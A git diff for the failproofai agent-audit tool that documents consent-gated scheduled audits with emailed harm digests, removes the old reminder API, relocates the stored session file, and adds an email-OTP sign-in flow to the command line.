+| `failproofai audit --status` | Whether scheduling is on, where reports go, the daemon's state, and when the next scan is due. |
+
+The same controls live on the dashboard's **/settings** page. Both write the
+same `~/.failproofai/config.json` through the same function, so the two are
+always in step.
+
+### What a digest sends
+
+A scheduled scan can email you when it finds something harmful. That email is
+the **only** thing that leaves your machine, and it carries:
+
+- **finding counts** per builtin policy,
+- **redacted example commands** — real command lines with secrets masked and
+ home paths shortened to `~/…/`,
+- **this machine's name** (its hostname) and platform, so a digest from a
+ fleet says which box it came from.
+
+Custom-policy names and examples are never included, and an example never
+carries tool output or file contents.
+
+
+ Redaction is pattern-based: it masks known credential shapes and `KEY=value`
+ assignments whose name says credential, but it reduces exposure rather than
+ eliminating it. If a machine's transcripts must never leave it, leave
+ scheduled digests off — the local scan and its dashboard work exactly the
+ same without them.
+
+
+You can also set the keys directly in `~/.failproofai/config.json`:
```json
{
@@ -93,6 +135,15 @@ whatever else the file already holds:
|---|---|
| `auto` | `true` enables the scheduled scan. Anything else — absent, `false`, `"yes"` — is off. |
| `interval_days` | Days between scans. Clamped to 1–90; `0`, a negative or a non-number falls back to `7`. |
+| `reports_consented_at` | Written **only** by `--schedule` or the settings toggle, when you sign in and are shown the list above. Emails are sent only if it is present, so hand-editing `auto` on its own gives you the local timer and no digest. |
+
+
+ Upgrading from a release before digests existed? `auto` used to mean "scan
+ locally on a timer" and nothing more. Machines that already had it keep
+ scanning and send **nothing** until you opt in again with
+ `failproofai audit --schedule` or the settings toggle — your old setting is
+ not read as consent to email.
+
- The schedule is **wall-clock**, so it survives suspend and reboots: a laptop
that was asleep past its due time runs **once** on wake, never a backlog.
@@ -100,8 +151,9 @@ whatever else the file already holds:
hook path, which stays free to answer tool calls.
- A scan is skipped if `failproofai audit` or the dashboard's re-run is already
in flight; it is retried shortly afterwards rather than treated as a failure.
-- Progress is written to `~/.failproofai/state/audit-schedule.json` (last run,
- next due). The daemon owns that file — change the cadence in `config.json`.
+- Progress is written to `~/.failproofai/audit/schedule.json` (last run, next
+ due). The daemon owns that file — change the cadence with
+ `failproofai audit --schedule `, on /settings, or in `config.json`.
If you enabled this on a machine set up by an older failproofai, run
diff --git a/docs/dashboard.mdx b/docs/dashboard.mdx
index 7e921a816..653d6ba5e 100644
--- a/docs/dashboard.mdx
+++ b/docs/dashboard.mdx
@@ -16,7 +16,7 @@ failproofai
Opens at `http://localhost:8020`.
-The dashboard reads local project, session, and failproofai configuration data directly from the filesystem. Optional authenticated features, such as audit reminders and invitations, send the information needed for those requests (including email addresses) to remote APIs.
+The dashboard reads local project, session, and failproofai configuration data directly from the filesystem. Optional authenticated features — invitations, and the [emailed harm digest](/cli/audit#what-a-digest-sends) from a scheduled audit — send the information needed for those requests (including email addresses) to remote APIs. Nothing else leaves the machine.
---
@@ -67,7 +67,9 @@ A personality-driven report of how your agent has actually been behaving across
2. **Strengths** — calm ✓ row list of behaviors your agent already does right, derived from the live audit data (clean tool-call rate, no direct pushes to main, zero credential leaks, zero retry storms) — each surfaced only when the relevant policy has a clean record across the audit window.
3. **Quirks** — table of what slipped through, ranked by severity: `when · what slipped + the policy that would've caught it · severity pill · seen`, where the recurrence reads `new` (once), `N× seen` (2–9 times), or `recurring` (10+).
4. **How to improve** — calm row list, one per prescribed policy: policy name in white, one-line description, install command + copy button on the right side. The section header reads `enable all N → projected · ` (the score you'd reach with every fix applied), and its `[install all]` button copies the combined `failproofai policy add a b c …` command for every prescribed policy.
-5. **Come back better** — two side-by-side cards. Left: set a reminder (`3d` / `7d` / `14d` / `30d` cadence picker; persists through `/api/auth/reminder` once authed). Right: unlock failproof perks — `invite a friend` opens a modal that takes a comma/space/newline-separated list of friend emails (max 10 per send), POSTs them to `/api/audit/invite`, which forwards to the api-server's `POST /v0/invite`. The api-server sends one email per recipient from `invite@failproof.ai` with the sender Cc'd and `Reply-To` set, so the recipient sees who invited them and the sender gets a copy in their inbox. Anonymous users get routed through the `AuthDialog` first so the sender's email is known before invites go out. Entitlement / perks fulfillment is a follow-up.
+5. **Spread the audit** — `invite a friend` opens a modal that takes a comma/space/newline-separated list of friend emails (max 10 per send), POSTs them to `/api/audit/invite`, which forwards to the api-server's `POST /v0/invite`. The api-server sends one email per recipient from `invite@failproof.ai` with the sender Cc'd and `Reply-To` set, so the recipient sees who invited them and the sender gets a copy in their inbox. Anonymous users get routed through the `AuthDialog` first so the sender's email is known before invites go out. Entitlement / perks fulfillment is a follow-up.
+
+ The re-audit **reminder** cadence picker that used to sit beside it is gone, along with its `/api/auth/reminder` route. Recurring scans are a machine setting rather than the end of a report, so they live on **[/settings](#settings)** (the gear in the header) and in `failproofai audit --schedule` — where the same control also runs the scan, rather than only mailing you a nudge to run it yourself. See [scheduled audits](/cli/audit#scheduled-audits).
Driven by the `failproofai audit` runtime — see [Audit CLI](/cli/audit) for the underlying scan engine, supported flags, and per-transcript cache invariants. The dashboard caches the latest result at `~/.failproofai/audit-dashboard.json` (mode `0600`, single slot, new runs overwrite) so revisits are instant; **both the per-transcript and whole-result caches are rejected on read once they're older than 7 days** so the dashboard never silently serves a week-old result — past the TTL `/audit` falls through to its empty state and prompts a fresh run. Clicking `[ re-audit now ]` near the bottom of the report POSTs `/api/audit/run` with `noCache: true` — re-audit bypasses the per-transcript cache and re-scans every transcript from scratch rather than silently returning the cached result — and the dashboard polls `/api/audit/status` at 1Hz until the run finishes; a sticky pink progress strip pins to the top of the viewport during the run with an elapsed timer, and the fresh result swaps in place on success (no full-page reload; a failed re-audit leaves the prior report intact). On failure the strip turns red with copy keyed off the `RerunError.kind` (`timeout` / `network` / `post_failed`). Empty state (no cache or expired) and zero-sessions state (cache exists but the scan found no transcripts) are surfaced separately.
@@ -90,6 +92,24 @@ A two-tab page for managing policies and reviewing activity.
+### Settings
+
+Reached from the **gear** in the header, at `/settings`. A console for the
+background service rather than a preferences page — it opens with a stat row
+reading the daemon's state, when the next scan is due, when the last one ran,
+and how many findings it turned up, over the controls that change them.
+
+- **Scheduled audits** — turn the timer on or off and set the interval. Turning
+ it on requires a signed-in session, because the digest needs a destination;
+ the panel enumerates exactly what a digest sends before you enable it.
+- The countdown reads the daemon's own `next_due_at_ms` rather than deriving one
+ from the interval, so changing the cadence mid-cycle does not leave the page
+ reporting a due time the daemon does not agree with.
+- Every write goes through the same `updateConfig` that
+ [`failproofai audit --schedule`](/cli/audit#scheduled-audits) calls, so the
+ terminal and the dashboard are always in step. Use whichever is in front of
+ you — the CLI is the one that works on a headless box.
+
---
## Auto-refresh
@@ -106,7 +126,12 @@ If you only need some parts of the dashboard, set `FAILPROOFAI_DISABLE_PAGES` to
FAILPROOFAI_DISABLE_PAGES=policies failproofai
```
-Valid values: `policies`, `projects`, `audit`.
+Valid values: `policies`, `projects`, `audit`, `settings`.
+
+Disabling `settings` also removes the gear from the header, so the page is
+neither reachable nor advertised. Worth doing on a dashboard you have exposed
+beyond localhost: that page shows the address digests are mailed to and can
+sign the machine out.
---
diff --git a/lib/auth/api-server-client.ts b/lib/auth/api-server-client.ts
index 3692bfcc7..a15b435ce 100644
--- a/lib/auth/api-server-client.ts
+++ b/lib/auth/api-server-client.ts
@@ -107,7 +107,7 @@ async function parseError(res: Response): Promise {
return new AuthApiError(res.status, code, message, retryAfterSecs);
}
-/** Hard cap on every auth/reminder HTTP call. Without this, a wedged DNS
+/** Hard cap on every auth/report HTTP call. Without this, a wedged DNS
* resolver or a hung server keeps the CLI / dashboard route stuck forever. */
const REQUEST_TIMEOUT_MS = 10_000;
@@ -210,34 +210,6 @@ export async function fetchMe(accessToken: string): Promise {
return getJson("/v0/auth/me", accessToken);
}
-export interface ServerReminder {
- user_id: string;
- email: string;
- fire_at: number; // unix seconds
- set_at: number; // unix seconds
-}
-
-export async function scheduleReminder(
- accessToken: string,
- body: { in_days?: number; at?: number },
-): Promise {
- const res = await postJson<{ reminder: ServerReminder }>(
- "/v0/reminders",
- body,
- { accessToken },
- );
- return res.reminder;
-}
-
-export async function cancelReminder(accessToken: string): Promise {
- const res = await fetchWithTimeout(`${getApiBase()}/v0/reminders`, {
- method: "DELETE",
- headers: { authorization: `Bearer ${accessToken}` },
- });
- if (res.status === 204 || res.ok) return;
- throw await parseError(res);
-}
-
export interface InviteSendResult {
/** Recipients that were dispatched successfully. */
sent: string[];
@@ -266,6 +238,56 @@ export async function sendInvites(
);
}
+export interface AuditReportBody {
+ machine_id: string;
+ label?: string;
+ platform?: string;
+ window_from?: string;
+ window_to: string;
+ harmful: {
+ policy: string;
+ category: string;
+ title: string;
+ hits: number;
+ first_seen?: string;
+ last_seen?: string;
+ examples: string[];
+ }[];
+}
+
+export interface AuditReportResult {
+ report_id: string;
+ /** Whether this report produced an email. */
+ emailed: boolean;
+ /** `below_threshold`, `cooldown`, `send_failed`, or null when mail went out. */
+ reason: string | null;
+ /**
+ * Where the next window starts, per the SERVER.
+ *
+ * Persisted verbatim rather than computed locally. The server anchors it on
+ * the last DELIVERED digest, so a report held by the cooldown — or one whose
+ * send failed — correctly leaves the watermark where it was, and its findings
+ * turn up in the next digest instead of falling into a gap. A machine that
+ * lost `machine.json` also resyncs here rather than re-reporting from the
+ * beginning of time.
+ */
+ next_window_from: string;
+}
+
+/**
+ * Submit one scheduled scan's harmful findings.
+ *
+ * Called only by the audit child, and only on `--scheduled`. The destination
+ * address is never sent: the api-server takes it from the access-token claims,
+ * so a report cannot name where its digest goes.
+ */
+export async function submitAuditReport(
+ accessToken: string,
+ body: AuditReportBody,
+): Promise {
+ return postJson("/v0/audit-reports", body, { accessToken });
+}
+
interface JwtClaims {
sub: string;
email: string;
diff --git a/lib/auth/auth-store.ts b/lib/auth/auth-store.ts
index a3ec0c1cc..01b68e7f5 100644
--- a/lib/auth/auth-store.ts
+++ b/lib/auth/auth-store.ts
@@ -1,16 +1,17 @@
/**
- * Persistence layer for the FailproofAI auth.json file.
+ * Persistence layer for the signed-in session.
*
- * Tokens live at ~/.failproofai/auth.json with mode 0600. The dashboard's
- * Next.js API routes read and write through here, so a session survives across
- * dashboard runs.
+ * Tokens live at `~/.failproofai/audit/session.json` with mode 0600 (layout 4;
+ * `auth.json` at the home root before that). The dashboard's Next.js API routes
+ * and the audit child both read and write through here, so a session survives
+ * across dashboard runs and is the same one a scheduled report uses.
*/
-import { existsSync, readFileSync, rmSync } from "node:fs";
-import { join } from "node:path";
+import { existsSync, readFileSync, readdirSync, rmSync } from "node:fs";
+import { join, resolve } from "node:path";
import { writeJsonAtomically } from "../atomic-write";
-import { failproofaiHome } from "../../src/hooks/fp-home";
+import { auditDir, auditSessionFile, migrationsDir } from "../../src/hooks/fp-home";
import {
AuthApiError,
decodeJwt,
@@ -27,62 +28,24 @@ export interface StoredAuth {
user: { id: string; email: string };
}
+/**
+ * Where the session file lives.
+ *
+ * `FAILPROOFAI_AUTH_DIR` overrides it OUTRIGHT — the override names the
+ * directory the two files sit in directly, with no `audit/` beneath it, which is
+ * the contract it has always had and what every test using it expects. Without
+ * the override the paths come from `fp-home.ts`, which as of layout 4 puts them
+ * under `audit/` with the rest of what the audit owns.
+ */
export function getAuthDir(): string {
const override = process.env.FAILPROOFAI_AUTH_DIR;
if (override) return override;
- return failproofaiHome();
+ return auditDir();
}
export function getAuthFilePath(): string {
- return join(getAuthDir(), "auth.json");
-}
-
-/** Location of the persisted re-audit reminder (separate from auth.json so
- * the reminder survives unrelated session refreshes). */
-export function getReminderFilePath(): string {
- return join(getAuthDir(), "next-audit.json");
-}
-
-export interface StoredReminder {
- /** Unix seconds. */
- next_audit_at: number;
- /** Email the reminder was set for. Used to invalidate the reminder if the
- * active session belongs to a different user. */
- user_email: string;
- /** Unix seconds. */
- set_at: number;
-}
-
-export function readReminder(): StoredReminder | null {
- const p = getReminderFilePath();
- if (!existsSync(p)) return null;
- try {
- const raw = readFileSync(p, "utf-8");
- const parsed = JSON.parse(raw) as Partial;
- if (
- typeof parsed.next_audit_at !== "number" ||
- typeof parsed.user_email !== "string" ||
- typeof parsed.set_at !== "number"
- ) {
- return null;
- }
- return {
- next_audit_at: parsed.next_audit_at,
- user_email: parsed.user_email,
- set_at: parsed.set_at,
- };
- } catch {
- return null;
- }
-}
-
-export function writeReminder(reminder: StoredReminder): void {
- writeJsonAtomically(getReminderFilePath(), reminder);
-}
-
-export function deleteReminder(): void {
- const p = getReminderFilePath();
- if (existsSync(p)) rmSync(p, { force: true });
+ const override = process.env.FAILPROOFAI_AUTH_DIR;
+ return override ? join(override, "session.json") : auditSessionFile();
}
export function readAuth(): StoredAuth | null {
@@ -127,6 +90,28 @@ export function writeAuth(auth: StoredAuth): void {
export function deleteAuth(): void {
const p = getAuthFilePath();
if (existsSync(p)) rmSync(p, { force: true });
+
+ // Also any copy a migration took and could not clean up.
+ //
+ // The layout-4 step backs `auth.json` up before moving it, and a chain that
+ // FAILED deliberately keeps that copy — it is the only insurance against a
+ // half-moved credential. But "sign me out" has to mean the token is off this
+ // machine, and `migrationsDir` is classed `identity`, so nothing else will
+ // ever remove it: without this sweep a dashboard sign-out, a 401 auto-delete
+ // and `failproofai reset` all left a live bearer and refresh token on disk,
+ // to be carried into every dotfile backup and container image after it.
+ try {
+ const root = migrationsDir();
+ if (!existsSync(root)) return;
+ for (const entry of readdirSync(root)) {
+ if (!entry.startsWith("backup-layout")) continue;
+ const copy = resolve(root, entry, "auth.json");
+ if (existsSync(copy)) rmSync(copy, { force: true });
+ }
+ } catch {
+ // Sign-out must succeed even if the sweep cannot. The live token — the one
+ // that actually authenticates a request — is already gone above.
+ }
}
/** Convert verify/refresh response into the on-disk shape. */
@@ -161,8 +146,8 @@ const REFRESH_LEEWAY_SECS = 60;
/**
* In-flight refresh dedup. Without this, two concurrent callers (e.g.
- * the dashboard's `/api/auth/status` poll and a `/api/auth/reminder`
- * POST in flight) both observe the same expired access token, both call
+ * the dashboard's `/api/auth/status` poll and a scheduled audit's report
+ * in flight) both observe the same expired access token, both call
* `refreshAccessToken(auth.refresh_token)` with the same refresh token,
* and the api-server treats the second call as token-replay and revokes
* every session for that user — a silent logout. Keying on the refresh
diff --git a/src/audit/cli-login.ts b/src/audit/cli-login.ts
new file mode 100644
index 000000000..4bad043ed
--- /dev/null
+++ b/src/audit/cli-login.ts
@@ -0,0 +1,330 @@
+/**
+ * Email-OTP sign-in, in the terminal.
+ *
+ * The dashboard has had this since the beginning, as two API routes. The CLI
+ * had nothing, which meant the one surface that works on a headless box could
+ * not do the one thing scheduling requires. This is the same flow through the
+ * same functions — `requestLoginCode` / `verifyLoginCode` from
+ * `api-server-client`, `writeAuth` from `auth-store` — writing the same
+ * `~/.failproofai/audit/session.json`.
+ *
+ * Sharing the store is what makes "the CLI and the dashboard are always in
+ * sync" true by construction rather than by discipline: there is one file and
+ * one writer, so signing in here shows up there on the next read, and signing
+ * out there ends the session the scheduled audit was going to report under.
+ */
+import { AuthApiError, requestLoginCode, verifyLoginCode } from "../../lib/auth/api-server-client";
+import {
+ authFromTokenResponse,
+ readAuth,
+ writeAuth,
+ type StoredAuth,
+} from "../../lib/auth/auth-store";
+import {
+ ANSI_RESET,
+ BAR,
+ colorsEnabled,
+ intro,
+ outro,
+ promptText,
+ step,
+ stepOpen,
+} from "../hooks/tui";
+
+const EMAIL_RE = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
+
+/**
+ * The api-server's own bound on a submitted code (`auth/models.rs`). Matched
+ * here so a paste that is obviously too long is rejected at the prompt, where
+ * it can be retyped, rather than by the server — which answers
+ * `validation_error` rather than `invalid_code`, a distinction the retry loop
+ * below treats as fatal.
+ */
+const CODE_MIN = 4;
+const CODE_MAX = 12;
+
+/**
+ * The spine a prompt hangs off, so the two questions sit inside the same frame
+ * `intro`/`outro` draw. Empty when colour is off or output is piped: the frame
+ * is decoration, and a log file should not collect box-drawing characters.
+ */
+function spine(): string {
+ return colorsEnabled(process.stdout)
+ ? `${ANSI_DIM_BAR}${BAR}${ANSI_RESET} `
+ : "";
+}
+const ANSI_DIM_BAR = "\x1B[2m";
+
+/**
+ * Codes are numeric (`auth/otp.rs` generates digits only), so anything else in
+ * the field is packaging: "Your failproof code is 123456", a copied "123 456",
+ * a stray trailing space from a double-click selection. Keeping the digits is
+ * the difference between a paste that works and one that costs a fresh email.
+ *
+ * Applied only when the input HAS digits and something else — a field of pure
+ * digits passes through untouched, so a genuinely wrong code is still reported
+ * as wrong rather than silently rewritten into a different one.
+ */
+export function extractCode(raw: string): string {
+ const trimmed = raw.trim();
+ if (/^\d+$/.test(trimmed)) return trimmed;
+ const runs = trimmed.match(/\d+/g) ?? [];
+ if (runs.length === 0) return trimmed;
+ // A run long enough to BE a code wins outright.
+ //
+ // Joining every digit in the line was the whole rule, and the prompt's own
+ // hint ("paste the whole line if you like") walks straight into it: the real
+ // message reads `Your failproof code is 123456 (expires in 10 minutes)`, so
+ // the join produced `12345610` — eight digits, which passes the 4–12
+ // validator, reaches the server, and burns an attempt on a code nobody typed.
+ // Anything the sentence adds after the code is short; the code is not.
+ const whole = runs.find((run) => run.length >= CODE_MIN);
+ if (whole) return whole;
+ // Otherwise the digits really are split — a copied `123 456` — and joining
+ // them is the reconstruction that was always intended.
+ return runs.join("");
+}
+
+export interface SignedIn {
+ id: string;
+ email: string;
+}
+
+/**
+ * Whether a sign-in flow actually ran.
+ *
+ * The caller uses it to decide whether its confirmation continues an open frame
+ * or stands on its own: the `│` spine means "a flow is happening", so printing
+ * one under a command that answered instantly from the session file would be a
+ * frame with no beginning.
+ */
+export interface EnsureSignedIn {
+ user: SignedIn;
+ prompted: boolean;
+}
+
+export class LoginError extends Error {}
+
+/**
+ * Whether this terminal can run an interactive prompt.
+ *
+ * Checked BEFORE anything is written, so a CI runner or a cron line gets one
+ * clear sentence instead of a hang on a `readline` nobody will ever answer.
+ */
+export function canPrompt(): boolean {
+ return Boolean(process.stdin.isTTY && process.stdout.isTTY);
+}
+
+/**
+ * The stored session, unless its refresh token has already expired.
+ *
+ * The check is a comparison against a number that is already in the file, so it
+ * keeps the offline-friendly property the doc below argues for: no request, no
+ * network failure mode, nothing new that a dropped wifi connection can break.
+ * What it removes is the case where every one of those is fine and the session
+ * is simply dead — revoked from another machine, or past its refresh window.
+ *
+ * Without it `--schedule` printed `reports to ` and exited 0 on a
+ * session that cannot mint another access token, so the user configured
+ * digests, was shown the destination, and then heard nothing for up to a full
+ * interval (90 days at the maximum) with the only signal a line in the journal.
+ * The dashboard already refuses this exact state in `setAutoAuditAction`, so
+ * the two surfaces disagreed on the one thing this feature claims is in sync.
+ *
+ * Expiry is treated as "sign in again", not as an error: the OTP prompt below
+ * is the remedy, and falling through to it is what makes this recoverable in
+ * one command instead of needing the file removed by hand.
+ */
+function sessionStillValid(auth: StoredAuth | null): StoredAuth | null {
+ if (!auth) return null;
+ // Seconds, per StoredAuth. A file whose value is missing was normalised to
+ // `access_expires_at` by `readAuth`, so this is always a real number.
+ return auth.refresh_expires_at * 1000 > Date.now() ? auth : null;
+}
+
+/**
+ * Return the current session, or run the OTP flow to create one.
+ *
+ * Deliberately NOT `whoAmI()`: that round-trips to `/v0/auth/me` and returns
+ * null on a network blip, which here would mean re-prompting a signed-in user
+ * for a code because their wifi dropped. The local file is the source of truth
+ * for "is somebody signed in on this machine"; whether the token still works is
+ * the reporting path's problem, and it already handles that by pausing digests
+ * rather than failing.
+ */
+export async function ensureSignedIn(preset?: string): Promise {
+ const existing = sessionStillValid(readAuth());
+ if (existing) {
+ // A machine already reports as somebody. An `--email` naming a DIFFERENT
+ // address is refused rather than honoured: silently re-pointing where a
+ // machine's digests go is the kind of change nobody notices until they
+ // stop arriving, and the flag reads as "sign me in", not "switch accounts".
+ if (preset && !sameAddress(preset, existing.user.email)) {
+ throw new LoginError(
+ `This machine is already signed in as ${existing.user.email}.\n` +
+ `To report as ${preset.trim().toLowerCase()} instead, sign out first — ` +
+ `from the dashboard, or by removing ~/.failproofai/audit/session.json.`,
+ );
+ }
+ return { user: existing.user, prompted: false };
+ }
+
+ if (!canPrompt()) {
+ throw new LoginError(
+ "Signing in needs an interactive terminal, and this one is not.\n" +
+ "Run `failproofai audit --schedule` from a shell you are sitting at,\n" +
+ "or sign in from the dashboard — both write the same session file.",
+ );
+ }
+
+ return { user: await runLogin(preset), prompted: true };
+}
+
+/** Addresses compare case-insensitively, because a mail server does. */
+function sameAddress(a: string, b: string): boolean {
+ return a.trim().toLowerCase() === b.trim().toLowerCase();
+}
+
+/**
+ * Reject an address the flag supplied before anything is drawn or sent.
+ *
+ * Returned as a message rather than thrown so the caller can fail at the CLI
+ * boundary, next to where the day count is checked — a typo'd flag should look
+ * like a usage error, not like a sign-in that opened a frame and gave up.
+ */
+export function invalidEmail(address: string): string | null {
+ return EMAIL_RE.test(address.trim())
+ ? null
+ : `\`--email\` needs an email address (got: ${address}).`;
+}
+
+/**
+ * The two prompts, inside the frame `failproofai config` uses.
+ *
+ * Same logo, same `│` spine, same `◆ / ◇` step glyphs, same pink `└` close —
+ * because this is the same product asking, and a sign-in that looked like a
+ * different tool would be the one moment the seam showed. It is also the only
+ * moment this command asks for something personal, which is the moment worth
+ * spending the frame on.
+ *
+ * Exported so a test can drive it without the caller.
+ */
+export async function runLogin(preset?: string): Promise {
+ intro("scheduled audits need somewhere to send the report");
+
+ let address: string;
+ if (preset) {
+ // Supplied on the command line, so the question is already answered — but
+ // it is still SHOWN, as a settled step, because it is the address a code is
+ // about to be sent to and the flag is exactly where a typo hides.
+ address = preset.trim().toLowerCase();
+ step("your email", address);
+ } else {
+ const email = await promptText({
+ prefix: spine(),
+ message: "your email",
+ hint: "you@yourdomain.com",
+ validate: (v) => (EMAIL_RE.test(v.trim()) ? null : "that doesn't look like an email"),
+ });
+ if (email === null) {
+ outro("Cancelled — nothing was changed.", { ok: false });
+ throw new LoginError("Cancelled.");
+ }
+ address = email.trim().toLowerCase();
+ }
+ let expiresInMin = 10;
+ try {
+ const sent = await requestLoginCode(address);
+ expiresInMin = Math.max(1, Math.ceil(sent.expires_in / 60));
+ } catch (err) {
+ outro("Could not send a login code.", { ok: false });
+ throw new LoginError(describeAuthError(err, "Could not send a login code"));
+ }
+
+ // The address is echoed back on the settled step rather than left to memory:
+ // a typo in it is the single most likely reason no code arrives, and this is
+ // the last place it can be noticed before somebody starts waiting.
+ step("code sent", `to ${address} · expires in ${expiresInMin} min`);
+
+ // Three attempts, matching the server's own per-code cap. Looping forever
+ // would keep a person typing at a code the server stopped accepting after
+ // the fifth try, and one attempt would punish a typo with a fresh email.
+ const ATTEMPTS = 3;
+ for (let attempt = 1; attempt <= ATTEMPTS; attempt += 1) {
+ stepOpen(attempt === 1 ? "the code from that email" : "try that code again");
+ const typed = await promptText({
+ prefix: spine(),
+ message: "code",
+ // Unmasked on purpose. A login code is single-use and expires in minutes,
+ // so hiding it protects nothing and costs the one thing that matters at
+ // this prompt: seeing your own typo before pressing enter.
+ hint:
+ attempt === 1
+ ? "123456 · paste the whole line if you like"
+ : `attempt ${attempt} of ${ATTEMPTS}`,
+ validate: (v) => {
+ // No digits at all is not a mistyped code, it is not a code — caught
+ // here rather than spent as one of the server's five attempts.
+ if (!/\d/.test(v)) return "a code is digits — paste the line from the email";
+ const code = extractCode(v);
+ if (code.length < CODE_MIN) return "that looks too short to be the code";
+ if (code.length > CODE_MAX) return "that looks too long — paste just the code";
+ return null;
+ },
+ });
+ if (typed === null) {
+ outro("Cancelled — nothing was changed.", { ok: false });
+ throw new LoginError("Cancelled.");
+ }
+
+ try {
+ const tokens = await verifyLoginCode(address, extractCode(typed));
+ writeAuth(authFromTokenResponse(tokens));
+ step("signed in", tokens.user.email);
+ return { id: tokens.user.id, email: tokens.user.email };
+ } catch (err) {
+ const wrongCode = err instanceof AuthApiError && err.code === "invalid_code";
+ if (wrongCode && attempt < ATTEMPTS) {
+ step(
+ "that code was wrong or expired",
+ `${ATTEMPTS - attempt} more ${ATTEMPTS - attempt === 1 ? "try" : "tries"} before it asks for a new one`,
+ );
+ continue;
+ }
+ outro("Could not verify that code.", { ok: false });
+ throw new LoginError(describeAuthError(err, "Could not verify that code"));
+ }
+ }
+ outro("Too many wrong codes.", { ok: false });
+ throw new LoginError("Too many wrong codes. Run the command again for a fresh one.");
+}
+
+/**
+ * A sentence a person can act on.
+ *
+ * `AuthApiError` carries the server's own code, and two of them have a remedy
+ * worth naming rather than passing through: a rate limit is a wait, and an
+ * unreachable server on a machine pointed at localhost is almost always an
+ * api-server that is not running.
+ */
+function describeAuthError(err: unknown, prefix: string): string {
+ if (err instanceof AuthApiError) {
+ if (err.code === "rate_limited") {
+ const wait = err.retryAfterSecs;
+ return `${prefix}: too many attempts.${wait ? ` Try again in ${wait}s.` : ""}`;
+ }
+ if (err.status === 0 || err.code === "timeout") {
+ return (
+ `${prefix}: the api-server did not respond.\n` +
+ `It is at ${apiBaseForMessage()} — check that it is running,\n` +
+ `or set FAILPROOF_API_URL to point somewhere else.`
+ );
+ }
+ return `${prefix}: ${err.message}`;
+ }
+ return `${prefix}: ${err instanceof Error ? err.message : String(err)}`;
+}
+
+function apiBaseForMessage(): string {
+ return process.env.FAILPROOF_API_URL ?? process.env.FAILPROOFAI_API_URL ?? "https://api.befailproof.ai";
+}
diff --git a/src/audit/cli.ts b/src/audit/cli.ts
index 8d6b718ec..0ec2c68ba 100644
--- a/src/audit/cli.ts
+++ b/src/audit/cli.ts
@@ -28,6 +28,7 @@ import { trackHookEvent } from "../hooks/hook-telemetry";
import { getInstanceId } from "../../lib/telemetry-id";
import { sanitizeErrorMessage } from "../../lib/telemetry-sanitize";
import { openWhenReady } from "./open-browser";
+import { describeOutcome, reportHarm } from "./report-harm";
import { brandAnsi, ANSI_RESET, ANSI_BOLD, ANSI_DIM } from "../hooks/tui";
/** Port the bundled dashboard binds to. Matches `scripts/launch.ts`'s default
@@ -71,14 +72,34 @@ USAGE
server. This is what a scheduled audit runs; exit
75 means another audit already had the lock.
+SCHEDULING
+ failproofai audit --schedule [days] [--email you@yourdomain.com]
+ Scan on a timer in the background (default 7 days,
+ 1-90), and email you when a scan finds something
+ harmful. Signs you in the first time — the report
+ has to go somewhere. Pass --email to answer that
+ up front and go straight to entering the code.
+ failproofai audit --no-schedule
+ Stop scanning on a timer. Leaves you signed in.
+ failproofai audit --status
+ What this machine is doing: whether scheduling is
+ on, where reports go, the daemon's state, and when
+ the next scan is due.
+
+ These write the same ~/.failproofai/config.json the dashboard's settings page
+ writes, through the same function — so the two are always in step.
+
WHAT IT DOES
1. Scans past sessions from every installed agent CLI (Claude, Codex, Cursor,
Copilot, OpenCode, Pi) — entirely on your machine.
2. Starts the local dashboard and opens
http://localhost:${DASHBOARD_PORT}/audit with your results.
- Runs fully offline — no account or network required. Press Ctrl+C to stop the
- dashboard server when you're done.
+ A bare "failproofai audit" needs no account, and nothing from your sessions
+ leaves this machine — anonymous usage counts still apply unless you set
+ FAILPROOFAI_TELEMETRY_DISABLED=1. Scheduling is the exception: it emails you
+ what it finds, so it needs an address.
+ Press Ctrl+C to stop the dashboard server when you're done.
`.trimStart();
// ── ANSI helpers ────────────────────────────────────────────────────────────
@@ -365,6 +386,29 @@ export async function runScheduledAudit(): Promise {
`${num(result.transcripts.scanned)} sessions, ${num(result.totals.hits)} hits\n`,
);
+ // Report harmful findings upstream, if the user switched emailed reports on.
+ //
+ // AFTER the dashboard cache is written and AFTER the success line, because
+ // the scan is the product and this is an optional extra on top of it.
+ // `reportHarm` never throws — every failure inside it is an outcome — so a
+ // dead network, an expired session or an api-server having a bad day cannot
+ // turn a successful scan into exit 1. A machine that never opted in prints
+ // nothing at all and does no work here.
+ //
+ // Scheduled runs ONLY. An interactive `failproofai audit` has a person
+ // sitting in front of the result, so mailing it to them is noise, and it
+ // would also make the manual command do a network call that
+ // `audit --help` promises it does not.
+ const outcome = await reportHarm(result);
+ const line = describeOutcome(outcome);
+ if (line) {
+ // Anything other than a successful send goes to stderr: on a scheduled run
+ // the journal is the only reader, and "the email did not go out" is the
+ // half worth finding with a grep.
+ const stream = outcome.kind === "sent" ? process.stdout : process.stderr;
+ stream.write(`${line}\n`);
+ }
+
return 0;
} finally {
attempt.lock.release();
@@ -460,19 +504,93 @@ export async function runAuditCli(args: string[]): Promise {
// The headless path, spawned rather than typed. Handled ahead of the
// rejection below so that adding it costs the interactive path nothing: it
// still refuses every argument it has always refused.
+ //
+ // `--scheduled` (run one now, headlessly) and `--schedule` (put runs on a
+ // timer) differ by one letter and do completely different things, so this
+ // is checked FIRST and exactly: a `--schedule` typo must not silently start
+ // a 100-second scan, and `--scheduled` must never be read as configuration.
if (args.includes("--scheduled")) {
const extra = args.find((a) => a !== "--scheduled");
if (extra) die(`\`audit --scheduled\` takes no other arguments (got: ${extra}).`);
process.exit(await runScheduledAudit());
}
- // No arguments supported yet — reject typos rather than silently doing a bare
- // audit, so a future `failproofai audit --since 7d` doesn't quietly no-op.
+ // The scheduling controls. These write config and exit; none of them scan.
+ if (args.includes("--status")) {
+ const extra = args.find((a) => a !== "--status");
+ if (extra) die(`\`audit --status\` takes no other arguments (got: ${extra}).`);
+ const { runScheduleStatus } = await import("./schedule-cli");
+ runScheduleStatus();
+ process.exit(0);
+ }
+
+ if (args.includes("--no-schedule")) {
+ const extra = args.find((a) => a !== "--no-schedule");
+ if (extra) die(`\`audit --no-schedule\` takes no other arguments (got: ${extra}).`);
+ const { runScheduleOff } = await import("./schedule-cli");
+ runScheduleOff();
+ process.exit(0);
+ }
+
+ const scheduleAt = args.indexOf("--schedule");
+ if (scheduleAt !== -1) {
+ // Parsed POSITIONALLY rather than by matching values against a set: an
+ // address and a day count are both just strings, and "have I already seen
+ // this string" cannot tell the argument of one flag from the argument of
+ // another.
+ let days: string | undefined;
+ let email: string | undefined;
